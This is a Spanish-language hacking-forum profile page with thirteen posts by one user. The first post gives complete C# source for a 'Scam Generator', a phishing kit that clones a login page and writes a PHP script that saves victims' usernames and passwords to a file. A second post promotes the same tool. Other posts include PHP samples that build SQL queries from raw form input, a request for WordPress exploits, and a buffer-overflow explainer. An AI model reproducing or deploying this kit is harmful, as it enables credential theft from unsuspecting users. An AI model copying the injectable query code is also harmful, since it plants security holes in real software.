Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - HckDrk

#1
C# - VB.NET / [Codigo C#] Scam Generator by HckDrk
Diciembre 17, 2019, 04:58:36 PM
Les traigo el código del phishing creator que hice hace un par de años, estaba aprendiendo C# por lo que puede que tenga errores y no sea la mejor forma de hacerlo, si alguien tiene criticas constructivas adelante.

Este es el post original -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.

Código: Csharp

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Diagnostics;
using System.Text.RegularExpressions;


namespace ConsoleApplication3
{
    class Program
    {
        static void Main()
        {
            intro();
            startApp();

        }

        private static string startApp()
        {
            Console.Title = "Scam Generator by HckDrk V. 0.1";
            string url = getUrl();
            string codigo = getCodigo(url);
            saveFile(CodeReplacement(codigo), url);
            return Reset();

        }

        private static string getUrl()
        {
            Console.Write("Enter a URL: ");
            string url = Console.ReadLine();
            Uri uriResult;
            if (Uri.TryCreate(url, UriKind.Absolute, out uriResult) && (uriResult.Scheme == Uri.UriSchemeHttp || uriResult.Scheme == Uri.UriSchemeHttps))
            {
                return url;
            }
            else
            {
                Console.WriteLine("Error: The url is invalid");
                return getUrl();
            }

        }


        private static String getCodigo(String url)
        {
            try
            {
                HttpWebRequest myHttpWebRequest = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse miPeticionWeb = (HttpWebResponse)myHttpWebRequest.GetResponse();
                Stream datosRecibidos = miPeticionWeb.GetResponseStream();
                Encoding codificacion = System.Text.Encoding.GetEncoding("utf-8");
                StreamReader readStream = new StreamReader(datosRecibidos, codificacion);

                return (readStream.ReadToEnd());
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                return startApp();
            }


        }

        private static string saveFile(string contenido, string url)
        {
            try
            {
                Console.Write("Enter the name of the file: ");
                string archivo = Console.ReadLine();

                if (archivo.Trim() == "")
                {
                    Console.WriteLine("Error: the name can not be empty");
                    return saveFile(contenido,url);
                }

                string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
                string path_file = desktopPath + "\\hckdrk_download\\";
                string path_file_final = path_file + archivo + "\\";

                verifyFolder(path_file);
                Directory.CreateDirectory(path_file_final);

                string ruta_archivo = path_file_final + archivo + ".html";
                StreamWriter escrito = File.CreateText(ruta_archivo);
                escrito.Write(contenido);
                escrito.Flush();
                escrito.Close();

                string ruta_archivo_php = path_file_final + "login.php";
                StreamWriter php = File.CreateText(ruta_archivo_php);
                php.Write(SetPhp(url));
                php.Flush();
                php.Close();

                Console.WriteLine("File {0}.html saved correctly", archivo);
                Console.WriteLine("File login.php saved correctly");
                openFile(path_file_final);
                return "";
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: {0}", e.Message);
                return "";
            }


        }

        private static string openFile(string ruta_archivo)
        {

            Console.Write("Do you want to open the container folder? [Y/n]: ");
            string abrir = Console.ReadLine();

            if (abrir == "Y")
            {
                Process.Start(ruta_archivo);
                return "";
            }
            else if (abrir == "n")
            {
                return "";
            }
            else
            {
                Console.WriteLine("Error: Option not valid!");
                return openFile(ruta_archivo);
            }

        }

        private static string verifyFolder(string dir)
        {

            if (!Directory.Exists(dir))
            {
                Console.Write("does not exist directory \"hckdrk_download\", Do you want to create it? [Y/n]: ");
                string crear_dir = Console.ReadLine();

                if (crear_dir == "Y")
                {
                    Directory.CreateDirectory(dir);
                    Console.WriteLine("The directory was created correctly \"hckdrk_download\" at {0}.", Directory.GetCreationTime(dir));
                    return "";
                }
                else if (crear_dir == "n")
                {
                    return startApp();
                }
                else
                {
                    Console.WriteLine("Error: Option not valid!");
                    return verifyFolder(dir);
                }
               
            }
            else
            {
                return "";
            }

        }

        private static string Reset()
        {
            Console.WriteLine("");
            Console.Write("You want to download another page[Y/n]: ");
            string nuevo = Console.ReadLine();

            if (nuevo == "Y")
            {
                return startApp();
            }
            else if (nuevo == "n")
            {
                Console.WriteLine("Thank you. Press any key to exit.");
                Console.WriteLine("So long.");
                Console.ReadKey();
                return "";
            }
            else
            {
                Console.WriteLine("Error: Option not valid!");
                return Reset();
            }
        }

        private static string CodeReplacement(string codigo)
        {
            string pattern = "<input type=\"text\".*? name=\"(.*?)\" .*?>";
            string patternTwo = "<input type=\"password\".*? name=\"(.*?)\" .*?>";
            string patternThree = "<input type=\"email\".*? name=\"(.*?)\" .*?>";

            string patternForm = "<form .*?>";
            //string pattern = "name=\"(.*?)\"";

            string replacement = "hckdrk_user";
            string replacementTwo = "hckdrk_pass";
            string replacementForm = "<form method=\"post\" action=\"login.php\">";


            //return resultFinal;

            MatchCollection matches = Regex.Matches(codigo.Replace("\r\n", ""), pattern);
            MatchCollection matchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo);
            MatchCollection matchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree);

            int numberMatches = Regex.Matches(codigo.Replace("\r\n", ""), pattern).Count;
            int numberOfMatchesTwo = Regex.Matches(codigo.Replace("\r\n", ""), patternTwo).Count;
            int numberOfMatchesThree = Regex.Matches(codigo.Replace("\r\n", ""), patternThree).Count;

            string codigoino = codigo;
           

            if (numberMatches <= 0)
            {
                Console.WriteLine("operation aborted, input text was not found");
                return startApp();
            }

            if (numberOfMatchesTwo <= 0)
            {
                Console.WriteLine("operation aborted, input password was not found");
                return startApp();
            }

            foreach (Match item in matches)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigoino = codigoino.Replace("name=\"" + item.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
                Console.WriteLine("Set value input text: \"{0}\" to \"{1}\"", item.Groups[1].Value, replacement);
            }

            string codigodoso = codigoino;

            foreach (Match itemTwo in matchesTwo)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigodoso = codigodoso.Replace("name=\"" + itemTwo.Groups[1].Value + "\"", "name=\"" + replacementTwo + "\"");
                Console.WriteLine("Set value input password: \"{0}\" to \"{1}\"", itemTwo.Groups[1].Value, replacementTwo);
            }

            string codigothree = codigodoso;

            foreach (Match itemThree in matchesThree)
            {
                //for (int i=0;i<item.Groups.Count;i++) {
                //}
                codigothree = codigothree.Replace("name=\"" + itemThree.Groups[1].Value + "\"", "name=\"" + replacement + "\"");
                Console.WriteLine("Set value input email: \"{0}\" to \"{1}\"", itemThree.Groups[1].Value, replacement);
            }

            Regex rgx = new Regex(patternForm);
            string result = rgx.Replace(codigothree, replacementForm);
            Console.WriteLine("Change <form> to {0}", replacementForm);

            return result;

        }

        private static string SetPhp(string url)
        {

            string codigo = @"<?php
error_reporting(0);
$user=$_POST['hckdrk_user'];
$pass=$_POST['hckdrk_pass'];

@file_put_contents('passwords.txt', 'user: '.$user . ' | Password: '.$pass.PHP_EOL, FILE_APPEND);
echo '<h1>Internal Server Error</h1>Please contact [email protected]';";
            codigo = codigo + "header('Refresh: 5; url = " + url + "', true, 303);";
            codigo = codigo + "?>";
            return codigo;

        }

        private static void intro()
        {
            Console.WriteLine("========================================");
            Console.WriteLine("==      Welcome to Scams Generator    ==");
            Console.WriteLine("==          Powered by HckDrk         ==");
            Console.WriteLine("==      Web Site: http://hckdrk.mx    ==");
            Console.WriteLine("==    Web Site: http://underc0de.org  ==");
            Console.WriteLine("========================================");
            Console.WriteLine(Environment.NewLine);



           
        }


    }
}
#2
Hacking / Scam Generator V 0.1 [Aporte]
Marzo 17, 2018, 02:44:22 AM
Que tal amigos.

me estoy iniciando en la programación con C# y que mejor que para aprender, que hacer una mini-tool. Esta ocación les traigo un Scam Generator por consola, está totalmente hecho por mi, no lo encontrarán en ningún otro lado.

Funciona de la siguiente manera:

1. El usuario ingresa una url
2. El programa descarga el código HTML
3. Busca todos los input text, email y password y le cambia su valor "name=" por hckdrk_user o hckdrk_pass
4. Busca todos los <form> y los cambia por uno prediseñado por mi: <form action="login.php" method="post">
5. Guarda los archivos con el nombre que le hayamos puesto
6. Genera el archivo php para guardar las contraseñas.

Esta mini-tool es la primera que saco, por lo que puede contener errores de programación o exepciones no previstas.

No funciona con paginas:
Que tengan su código ofuscado
Que hagan llamado del form por ajax
que no tengas ningún "input text" o ningun "input password"

Es un archivo ejecutable totalmente limpio, sin ningún virus o algo extraño.
Mas adelante haré uno con interfaz gráfica y les compartiré el mini código (aprox 300 lineas de código).

Cualquier detalle siéntanse libres de comentarlo por este medio.

Video de funcionamiento:




Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos

#3
Que tal amigos!!

Viendo que está un poco solo por aquí, decidí compartir un pequeño código que hice hace tiempo para un sistema que hice. El código era mucho mas, solo que lo he tratado de simplificar solo para mostrar los puntos indispensables y lo puedan integrar a su proyecto.

El código consta de 2 archivos php, 1 html, la libreria llamada push.js escrita en jquery y una tabla en mysql llamada "mensajes" (o como quieran ponerle XD)

El primer archivo php es el que inserta en la base de datos el mensaje y el nombre del remitente. a continuación se muestra el codigo algo comentado:

Código: php
<?

function conecta(){
$mysqli = new mysqli("servidor", "usuario", "password", "basededatos"); //conexión ala base de datos por medio de misqli poo

if($mysqli->connect_errno > 0){ //si retorna algun error
return("Imposible conectarse con la base de datos [" . $mysqli->connect_error . "]"); //se muestra el error
}else{ //si no retorna el error
$mysqli->query("SET NAMES 'utf8'"); //codifica las consultas a utf-8
return $mysqli; //retorna la conexión a la base de datos mysql
}
}

if($_POST['enviar']=='ok'){ //si se envía el mensaje

$nombre=$_POST['nombre'];
$mensaje=$_POST['mensaje'];

$mysqli=conecta(); //conecta la base de datos
$mysqli->query("INSERT INTO mensajes (id_propietario,nombre_quien_envia,mensaje,status_activo) VALUES ('1','$nombre','$mensaje','1');"); //inserta en la base de datos



}




?>
<form method="post" action="">
nombre: <input type="text" name="nombre"><br>
mensaje: <input type="text" name="mensaje"><br>
<input type="submit" value="Enviar"><br>
<input type="hidden" name="enviar" value="ok">
</form>



El segundo código php es el que recupera los mensajes que se encuentran en la base de datos que aun no están leidos.


Código: php
<?php
header('Content-Type: application/json'); //mediante header establece que es un archivo json
$id=$_REQUEST['id_propietario']; //obtiene la variable id por post o get

function conecta(){
$mysqli = new mysqli("servidor", "usuario", "password", "basededatos"); //conexión ala base de datos por medio de misqli poo

if($mysqli->connect_errno > 0){ //si retorna algun error
return("Imposible conectarse con la base de datos [" . $mysqli->connect_error . "]"); //se muestra el error
}else{ //si no retorna el error
$mysqli->query("SET NAMES 'utf8'"); //codifica las consultas a utf-8
return $mysqli; //retorna la conexión a la base de datos mysql
}
}


$mysqli = conecta(); //conecta la base de datos
$verifica = $mysqli->query("SELECT * FROM mensajes WHERE id_propietario='$id' AND leido='0' AND status_activo='1'"); //consulta los mensajes no leidos=0 y activos=1 del propietario
$num_msg = $verifica->num_rows; //verifica el numero de mensajes

if($num_msg > 0){ // si el numero de mensajes es mayor a 0

while ($mensaje = mysqli_fetch_array($verifica, MYSQLI_ASSOC)) { //genera el while para recorrer todos los mensajes

$msg[]=array('num_msg'=>$num_msg,'texto'=>$mensaje['mensaje'],'emisor'=> $mensaje['nombre_quien_envia']); //los almacena en un arreglo de arreglos
$mysqli->query("UPDATE mensajes SET leido='1' WHERE  id = '".$mensaje['id']."'"); //hace el update de mensaje leido

}

}else{ //si no hay información retorna un array vacio que posteriormente se convertira a un json nulo

$msg[]=array('num_msg'=>$num_msg,'texto'=>$mensaje['mensaje'],'emisor'=> $mensaje['nombre_quien_envia']);

}

echo json_encode($msg,JSON_PRETTY_PRINT); //lo codifica a json, JSON_PRETTY_PRINT lo hace agradable a la vista


?>


El archivo HTML es el que incluye la librería push.min.js que trabaja con jquery, esta librería es la que nos ayuda a realizar el mensaje para que aparezca en nuestro navegador.

Código: html
<script src="jquery-1.11.1.js"></script> <!-- incluye jquery para usar ajax -->
<script src="push.min.js"></script> <!-- incluye la libreria push -->
<script>

function ver(){

$.ajax({ //se inicia la petición ajax al archivo que consulta los mensajes en la base de datos
type : 'GET', //consulta mediante get
url : 'consulta_msg.php', //url del archivo a consultar
data : {'id_propietario':'1'}, //consulta el id del propietario
dataType : 'json', //se espera retornar un json
success : function(data) { //si fue satisfactorio la petición ajax retorna la variable data con la información
$.each(data, function(i, item) { //recorremos el json para obtener los mensajes
var texto = item.texto;
var emisor = item.emisor;
var num_msg = item.num_msg;

if(num_msg>0){

Push.create(emisor, { //llamamos al objeto push escrito en jquery
body: texto, //ingresamos el texto recuperado de la petición ajax
timeout: 4000, //con este valor indica que despues de 4000 ms se cierre automaticamente el mensaje
onClick: function () { //al hacer click en la notificación se cerrará
window.focus();
this.close();
}
});
}

});
},
});

}

setInterval(ver,10000); //cada 10000 ms se ejecuta la función ver para obtener los mensajes recibidos

//recordar que cada 1000 ms es lo mismo que 1 segundo

</script>



Esta sería la estructura de la tabla mysql

Código: sql


CREATE TABLE `mensajes` (
  `id` int(11) NOT NULL,
  `id_propietario` int(11) NOT NULL,
  `nombre_quien_envia` varchar(255) COLLATE utf8_spanish_ci NOT NULL,
  `mensaje` text COLLATE utf8_spanish_ci NOT NULL,
  `leido` int(11) NOT NULL,
  `status_activo` int(11) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_spanish_ci;

ALTER TABLE `mensajes`
ADD PRIMARY KEY (`id`);
ALTER TABLE `mensajes`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;COMMIT;



===========================
         INFORMACIÓN ADICIONAL
===========================
1. Mas información directo en su página: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2. Pueden descargar de esta url la libreria push.js -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
3. En este código, las notificaciones solo funcionan con el html abierto y ejecutandose. En lo personal no tenia mucho tiempo para hacerla funcionar para que funcionaran sin tener abierto el html que consulta los mensajes. Si alguien nos pudiera compartir como se realiza sin tener abierto el html sería fabuloso.
4. Si necesitas ver el funcionamiento, me indican para pasarles una url demo.
5. Dejo una imagen de como aparece en el navegador:


Espero les sea de utilidad!

Saludos!
#4
Buenas!!

Después de muchos años de no postear algo, hoy vengo a hacerlo XD. Estaba aburrido y me puse a hacer esta pequeña api.

Este es básicamente un complemento al articulo del compañero "Arthusu" llamado  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Básicamente se trata de una muy sencilla API Restful, en donde valida si la sintaxis del correo es correcta, si el dominio exista, si el dominio tiene registros MX y como Plus le coloque el famoso: "quisiste decir No tienes permitido ver los links. Registrarse o Entrar a mi cuenta".

Esta pequeña api consta de 2 archivos: el "index.php" y el "quisiste_decir.php"

En el index hace llamado del archivo "quisiste_decir.php" y hace las validaciones de sitaxis, dominio y registros MX:

Código: php

<?php
include('quisiste_decir.php');
$correo = (trim($_REQUEST['correo'])=='') ? "[email protected]" : strip_tags($_REQUEST['correo']);
$hosts=array();
$error='no';

if(filter_var($correo,FILTER_VALIDATE_EMAIL)){

$sintaxis = 'Correcta';

$dominio=explode("@",$correo);
if(checkdnsrr($dominio[1])){

$dominio_existe = 'existe';

if(getmxrr($dominio[1],$hosts)){
$mensaje = 'el correo es valido, existe el dominio, y tiene registros MX. Muy probablemente existe el correo';
$registro_mx = 'existe';
}else{

$mensaje = 'Existe el dominio, pero no tiene registros MX, por lo cual no creemos que exista el correo';
$registro_mx = 'No existe';
$error = 'si';
}
}else{

$quisiste_decir = quisiste_decir($correo);
$mensaje = 'No existe el dominio';
$dominio_existe = 'No existe';
$error = 'si';
}

}else{
$quisiste_decir = quisiste_decir($correo);
$mensaje = 'el correo no tiene la sintaxis correcta';
$sintaxis= 'Incorrecta';
$error = 'si';
}

header('Content-Type: application/json');
$json = array('error' => $error, 'quisiste_decir' => $quisiste_decir, "usuario" => $dominio[0], 'dominio' => $dominio[1], 'sisntaxis' => $sintaxis, 'dominio_existe' => $dominio_existe, 'registro_mx' => $registro_mx, 'valor_registro_mx' => $hosts, 'mensaje' => $mensaje);
echo json_encode($json,JSON_PRETTY_PRINT);

?>


y el archivo "quisiste_decir.php" que comprueba que el correo ingresado tenga coincidencias erroneas con los principales  correos gmail, hotmail, yahoo.

Código: php

<?php

function buscar_hotmail($correo){

$find_hotmail = array('jot', 'holma', 'hotmil','hotmai', 'hotmaiI');
$dominio = explode("@",$correo);

foreach($find_hotmail as $hotmail){

    if(strpos($dominio[1], $hotmail) !== false){
$retorno = $dominio[0].'@hotmail.com';
        break;
    }
   
}

if($retorno!=""){
return $retorno;
}else{
return false;
}
}

function buscar_gmail($correo){

$find_gmail = array('gmai', 'gmail', 'mail','gmal', 'gmail.co');
$dominio = explode("@",$correo);

foreach($find_gmail as $gmail){

    if(strpos($dominio[1], $gmail) !== false){
$retorno = $dominio[0].'@gmail.com';
        break;
    }
   
}

if($retorno!=""){
return $retorno;
}else{
return false;
}
}

function buscar_yahoo($correo){

$find_yahoo = array('yajoo', 'yaho', 'yhoo','ahoo', 'yahoo.co');
$dominio = explode("@",$correo);

foreach($find_yahoo as $yahoo){

    if(strpos($dominio[1], $yahoo) !== false){
$retorno = $dominio[0].'@yahoo.com';
        break;
    }
   
}

if($retorno!=""){
return $retorno;
}else{
return false;
}
}

function quisiste_decir($correo){

if(buscar_hotmail($correo)){

return buscar_hotmail($correo);

}else{

if(buscar_gmail($correo)){

return buscar_gmail($correo);

}else{

if(buscar_yahoo($correo)){

return buscar_yahoo($correo);

}else{
return false;
}

}

}

}

?>


Lo pueden probar directamente en mi dominio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta el cual recibe 1 parametro llamado correo ya sea por post o por get.

Saludos!!!
#5
hola, hace mucho que no pasaba por aca, pero les traigo algo c:

URL vulnerable: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  -- No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Bug: XSS + arbitrary upload
Capturas:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#6
Off Topic / [Video] Intro Underc0de
Mayo 08, 2013, 01:13:11 PM
Aqui les dejo este intro para que lo puedan usar en sus videos, tutoriales,  hacer publicidad, o lo que sea XD



Saludos!
#7
hola compañeros, necesito saber si hay alguna vulnerabilidad en wordpress 3.4 ó 3.2.1, y si tienen alguna referencia de como explotar dicho bug.

espero me ayuden, desde ya muchas gracias!

Saludos! (:
#8
Back-end / 10 Ideas Erróneas sobre PHP
Febrero 07, 2013, 02:35:25 AM
Hola compañeros! naufragando por la red, me encontré este post que me pareció algo interesante y decidi compartirlo con ustedes.





Muchas veces he tenido discusiones con otros desarrolladores de software, hablando sobre las limitantes y no de algunos lenguajes de programación. La mayoría de estas discusiones han sido con desarrolladores que utilizan JAVA ( lenguaje de programación orientado a objetos). Ellos se centran mucho en el lenguaje JAVA  y critican Fuertemente los demás existentes. Uno de los lenguajes con más críticas es PHP (Hypertext Pre-processor).

PHP es uno de los lenguajes más utilizados para desarrollos en la web y aunque tienen sus falencias como todos los lenguajes, existen 10  ideas erróneas sobre el lenguaje que los desarrolladores a veces no conocen.

1. PHP no es un lenguaje "compilado", es un lenguaje interprete

Esta idea es errónea, pues a partir del 2000 con el lanzamiento de PHP 4, este se convirtió en un lenguaje compilado. Cuando se ejecuta, el código fuente de PHP es compilado por el motor de compilación de Zend en los datos de código de máquina, luego Zend opcodes los almacena en la RAM, para que después opcodes ejecute el código.

De esta forma PHP se convierte en un código compilado, así como lo son JAVA  o  C#. Del no ser así sería un lenguaje muy lento.

2. PHP no puede... (Acceder a Memoria, Utilizar Hardware, etc.)

Es otra idea que nos han querido vender ¡pero no es cierto! PHP es un lenguaje extensible. Si no existe la extensión para la tarea que necesitamos en la distribución  principal del PHP, podemos crear una extensión en C o C ++, de esta manera podemos realizar cualquier operación que estas dos lenguajes nos proporcionen.

De igual forma podemos revisar PECL PHP extension repository para ver si ya está realizado lo que necesitamos.

3. PHP no puede hacer algo que se puede hacer en la lengua X

Es algo que están en duda, existe es una variación del cómo hacerlo, pero de que lo puede hacer, lo hace. Igual no encuentro mucha diferencia entre los lenguajes, más bien en su sintaxis. Sin embargo, si usted encuentra algo que sólo solo se puede hacer en algún otro lenguaje o que tienen que confiar en los componentes existentes escritos en ese lenguaje, siempre se puede tratar de interactuar con el código escrito en otros lenguajes con extensiones PHP disponibles. Esto es un hecho poco conocido, probablemente porque no es algo que tiene gran demanda, pero hay extensiones de PHP que te permiten ejecutar código en otros lenguajes  a partir de scripts PHP.

4. PHP es solo para el desarrollo en WEB

El uso más común de PHP es para los desarrollos en la web, corriendo a través de un servidor web. También puede correr PHP sin un servidor web por medio del ejecutable PHP CLI (Command Line Interface) . Es un programa que se puede iniciar desde el shell de línea de comandos para llevar a cabo todo tipo de operaciones, siendo el sitio Web relacionado o no.

Incluso las aplicaciones intensivas de CPU se han desarrollado en PHP y se ejecutan fuera de un servidor Web mediante el programa PHP CLI, como por ejemplo el envío de boletines a suscriptores. El PHPClasses envía millones de mensajes de boletín de noticias cada mes con el programa PHP CLI.

5. PHP solo es controlado por Zend

Desde la aparición de PHP en 1994 (Rasmus Lerdorf), PHP ha tenido diferentes desarrolladores que han colaborado para el desarrollo y crecimiento de este lenguaje de programación (Entre ellos los fundadores de la compañía Zend), pero esto no significa que estos sean los amos y señores de PHP, solo son un pequeño grupo de los que han convertido este en un gran lenguaje de desarrollo.

Existen empresas como Oracle y Microsoft, entre otras que también han puesto su grano de arena y que han querido adquirir este lenguaje.

6. La documentación de PHP es incompleta he insuficiente

Al contrario de lo que promulgan algunos programadores,  La documentación de PHP es de las más completas, creo que un desarrollador novato o experto nunca se atasca buscando una función, clase o extensión para PHP. Además debemos destacar, que la documentación no solo se encuentra en un idioma, se encuentra en varios idiomas fácilitando que los desarrolladores de muchas partes del mundo se puedan documentar mejor con el lenguaje.

7. Los proyectos de PHP no son reutilizables, ya que no son orientados a objetos

Una de las razones por las que PHP es  tan popular gracias a las  aplicaciones  que dominan el mercado Web ( WordPress, Drupal, Joomla, etc.).

Hoy en día WordPress es sin duda, la más popular de las aplicaciones PHP. Recientemente, Matt Mullenweg  (creador del proyecto WordPress), anunció en su discurso del Estado de la Palabra 2011,  que WordPress está presente en el 14,7% de los sitios Web.

Matt comentó que muchos desarrolladores modificaron sus instalaciones de WordPress con plug-ins para que funcione como un CMS (sistema de gestión de contenido) y eventualmente como otros tipos de aplicaciones. Sin embargo el código de  Wordpress está escrito principalmente en código no orientado a objetos. Viene con las clases de la misma base para implementar algunas funcionalidades comunes.

La funcionalidad principal está escrita en código de procedimiento, por lo cual no es del todo necesario que el código sea todo orientado a objetos para que sea reutilizable.

8. PHP es peor que Ruby On Rails, Python Django, X framework en otro lenguaje

PHP viene con gran cantidad de extensiones que ofrecen muchas características, pero comparar una lengua con un framework completo es como comparar perros y manzanas.

Creo que es justo comparar PHP con Java, C #, Ruby, Python, etc. También es justo comparar a Ruby on Rails, Django, etc. con un framework  similar en  PHP como PHPCAKE, Symfony, Zend, etc. (PHP Framewroks).

9. PHP no es bueno para los sitios Web escalables o aplicaciones de alto rendimiento

Para desmentir esto, solo piensen en Facebook, es una red social gigantesca que corre en PHP. El rendimiento de una aplicación no depende del lenguaje, sino en la arquitectura de sus desarrollo y la realidad es que la mayoría de las aplicaciones web no son intensivas en la CPU.  Por ejemplo: una de las actividades  en que las aplicaciones Web pasan más tiempo es accediendo  a las bases de datos. Es cuando la aplicación ejecuta una consulta SQL, en el que la mayoría del tiempo se dedica a esperar que el servidor de base de datos ejecute  la consulta y devuelva los resultados.

Por eso si usted piensa en escalar su aplicación PHP, en una aplicación de alto rendimiento mastique la idea de utilizar lenguajes como  C o C++ para poder generar consultas más eficientes y rápidas, además de mejorar la arquitectura de su aplicación.

10. Los desarrolladores de PHP son baratos porque no están calificados

Los programadores de PHP, son tan calificados como los programadores de  lenguajes como JAVA, C#, etc. Simplemente los precios de sus salarios los da el mercado. Además los desarrolladores también son pagados por el tipo de trabajo que deben realizar. No es igual desarrollar una aplicación de alto rendimiento en PHP, que simplemente hacer unas modificaciones en JOOMLA o WORDPRESS.

Recuerden profundizar en el contenido

Fuentes: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta – No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta – No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
hola todos! no se me ocurria como nombrar el post! XD

he tenido la experiencia de que los bots que indagan por las webs, buscando correos para hacer publicidad no deseada (spam), y me mandan correos... a partir de eso, se me ocurrió hacer un script que detecta con expresiones regulares el correo dentro de una cadena de texto, pasa por rot13 el correo, y muestra una imagen en vez del correo

aquí les dejo mi sencillo y pequeño script, que cuenta con 2 archivos, el index, y el archivo donde se generará la imagen...

index.php:
Código: php

<html>
<head>
<title>Cambia correo por imagen</title>
</head>
<body bgcolor="black" text="white">
<form method="post" action="">
<textarea cols="50" rows="20" name="contenido"><?php echo htmlentities($_POST['contenido']); ?></textarea><br>
<input type="submit" value="enviar" name="enviar">
</form>
<?php


function correo_img($correo){

$ss= '/(\S+@\S+\.\S+)/ie';
$resultado= preg_replace($ss,"str_rot13('$1')", $correo);
$s= '/(\S+@\S+\.\S+)/i';
$r = "<img src='imagen.php?text=$1&color=w'>";
$resultado= preg_replace($s, $r, $resultado);

return $resultado;

}


if($_POST['enviar']){


$contenido=htmlentities($_POST['contenido']);
$contenido=str_replace("\n", "<br>\n", $contenido);
echo correo_img($contenido);


}

?>
</body>
</html>




imagen.php
Código: php

<?php

$text=str_rot13(strip_tags($_GET['text']));
$color=strip_tags($_GET['color']);


header("Content-Type: image/png");
if($color!="b" && $color!="w"){
$width=55;
}else{
$width=strlen($text)*10;
}
$imagen = @imagecreate($width, 20);

if($color=="b"){
$color_fondo = imagecolorallocate($imagen, 0, 0, 0);
$color_texto = imagecolorallocate($imagen, 255, 255, 255);
}else if($color=="w"){
$color_fondo = imagecolorallocate($imagen, 255, 255, 255);
$color_texto = imagecolorallocate($imagen, 0, 0, 0);
}else{
$color_fondo = imagecolorallocate($imagen, 255, 255, 255);
$color_texto = imagecolorallocate($imagen, 255, 0, 0);
$text="error!";
}

imagestring($imagen, 5, 5, 6,  $text, $color_texto);
imagepng($imagen);
imagedestroy($imagen);

?>



si desean ver su funcionamiento, aqui les dejo un demo...
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#10
Back-end / [Videotutorial] Editor de archivos en PHP
Enero 03, 2013, 04:48:29 PM
Aqui les dejo mi segundo Videotutorial, no me base en ninguna idea para hacerlo!

tiene acercamiento en el codigo para que se vea mejor, lo subi en HD, para que se vea aun mejor! :p

espero les guste y si tienen duda me dicen, saludos!  ;D

#11
Off Topic / ¿Que música es la que mas les gusta?
Enero 03, 2013, 02:58:57 PM
Hola todos!

abro este post para que compartamos la música que mas nos agrada, o que mas escuchamos XD
a mi me gusta bastante el Psytrance, aunque también escucho ska y un poco de rock y metal.

aqui dejo unos videos de unas de mis canciones prefreridas..





Saludos! espero que compartan su música! :P
#12
Back-end / Videotutoial de un sistema de modulos PHP
Enero 02, 2013, 01:29:11 PM
Hola todos!

mi bro xt3mp hace tiempo hizo unos tutoriales básicos, tomare algunas ideas para empezar a hacer videotutoriales, alrato subo el link del vídeo en HD y edito el post, por que youtube le bajo bastante la calidad! >.<



En este tutorial aprenderémos a como llevar acabo una modulación, al meter variable por método "GET" incluimos alguna página en específico, por ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bueno, espero lo entiendan y si tienen dudas me dicen, saludos!

#13
Hola de seguro algunos ya han escuchado hablar sobre esta vulnerabilidad, pero en algunas veces no nos ah quedado claro del todo, bueno aquí intento explicar lo mas que se pueda,

Un Buffer Overflow se provoca inyectando código sobrante en la pila.
La pila es donde se guardan las instrucciones que se ejecutarán, incluyendo las funciones, los procedimientos, etc...

Supongamos el siguiente fragmento de código en C

Código: c

#include <conio.h>
//Hola soy th3d4rkw4rl0ck y este es un ejemplo de Buffer Overflow

void ejemplodebuffer()
{
  char buffer[10];
  printf("Introduce el nombre del fichero\n");
  scanf("%s",&buffer);
  printf("Has escrito %s", buffer);

}
int main()
{
 
  printf("Hola este es un ejemple de buffer\n ");
  ejemplodebuffer();
  getch ();

}


El problema que nos encontramos aquí, como es lógico, es ¿que ocurre si al usuario le da por introducir más de 10 caracteres? Parece una pregunta fácil pero no lo es en absoluto y la mayor parte de las vulnerabilidades que se encuentran hoy en día pertenecen a este "tipo" de error. Obviamente nuestro buffer se va a desborda pero ¿que consecuencias tiene eso?

Para entender el problema hay que entender que está pasando a nivel interno (a nivel de código máquina) cuando declaramos el segmento de código anterior. A grandes rasgos  existen dos "áreas" principales de memoria en un programa, la pila o stack y el heap. La pila es, como su nombre indica, una pila de memoria en la que se van almacenando y recuperando datos de forma incremental, es decir, lo último que se inserta es lo primero que se recupera.

Ahora vamos a ver lo que pasaría si introducimos más de 10 caracteres en nuestro buffer. En primer lugar se llenarían esos 10 caracteres, en siguiente lugar se sobrescribiría el valor de retorno de la función y por último ufff  de desborda la pila. ¿Veis el problema?

y entonces ¿Como puedo encontrar los buffer overflow?
1.-Conocimientos de C y ensamblador.
2.-Un buffer que sea desbordable.
3.-Un shellcode en alguna zona de memoria.

PD ShellCode: Normalmente lo meteremos en la pila en el propio buffer desbordado, aunque no siempre es posible. Para localizar nuestro shellcode en memoria usaremos un depurador, (ollydbg, softIce). Ésto obliga a que la máquina a explotar sea la misma que la nuestra
